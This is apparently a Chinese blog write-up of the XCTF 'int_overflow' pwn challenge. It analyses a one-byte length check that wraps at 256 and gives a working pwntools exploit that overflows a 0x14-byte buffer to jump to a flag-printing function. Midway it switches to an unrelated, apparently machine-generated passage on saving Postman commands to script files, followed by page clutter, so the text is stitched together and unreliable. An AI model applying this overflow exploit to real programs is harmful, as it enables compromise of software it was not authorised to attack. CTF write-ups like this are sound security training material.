攻防世界PWN int_overflow

checksec (老规矩)

32位

canary/NX保护

ida操作

if (v4 == 1)

满足这个条件,login

跟进去

s 字段写入0x19u

看看是否存在溢出

 

0x28,看来不存在

buf 段 0x199u

 

check_passwd函数

v3   无符号整型   8字节

满足if条件即可  success

将s放到dest中

 

dest 的长度为0x14

 让s的长度够大,把what_is_this()/有flag的地址覆盖到返回地址

 

3<v3<8            可以利用整数溢出

v3可以存储最大的长度是           2的8次方=256 

对256求余/取模  

 这里s的长度是3~8 也就是 259~264

这里只要输入s的长度在259~264之间就可以溢出

这里取260

整型溢出的具体讲解参考以下博客

C语言的整型溢出问题_CHID的博客-优快云博客_c溢出问题

 

    what_is_this_addr= 0x804868B

工作就绪,接下来准备exp

from pwn import*


#p=remote("111.200.241.244",64347)
p=process('./int')

system_addr=0x804868B
payload=b'a'*(0x14+0x4)+p32(system_addr)
payload=payload.ljust(260,b'a')


p.sendlineafter("Your choice:","1")
p.sendlineafter("Please input your username:","1")
p.recvuntil("Please input your passwd:")
p.sendline(payload)


p.interactive()

 

 成功打通

Postman 是一款流行的 API 测试工具,它通常通过命令行接口 (CLI) 或图形用户界面 (GUI) 进行操作。如果你想将 Postman 的命令转换成文件,可以按照以下步骤进行: 1. **保存命令到文本文件**: - 打开终端(对于 Windows 用户是 Command Prompt 或 PowerShell)。 - 在 Postman 的 CLI 模式下运行需要的命令。例如,如果你想要获取某个 API 资源,你会输入 `postman run [collection-url]` 或 `postman collection run [collection.json]`。 - 在命令行里直接复制你需要的命令行内容。 - 打开一个文本编辑器(如 Notepad、Visual Studio Code 或 Atom),粘贴复制的内容,并保存为 `.cmd` 或 `.sh` 格式的文件(取决于你的操作系统)。 2. **编写脚本或批处理文件**: - 如果你想创建一个能自动执行一系列命令的文件,你可以编写一个简单的 Bash script(Unix/Linux系统)或 batch file(Windows 系统)。在这些文件中,添加你要执行的 Postman 命令,每条命令一行,并确保有正确的换行符。 3. **设置环境变量**: - 对于涉及到环境变量的命令,确保在你的脚本或批处理文件中正确地设置了它们。 4. **运行脚本**: - 在命令提示符中,使用 `chmod +x your_script.sh`(Unix/Linux)或 `your_script.bat` 来标记为可执行文件,然后运行它即可。 **相关问题--:** 1. 如何在 Postman 中查看当前的命令行帮助? 2. 是否可以在 Postman Collection 文件中嵌入命令? 3. 如果需要定期执行 Postman 命令,如何自动化这个过程?
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值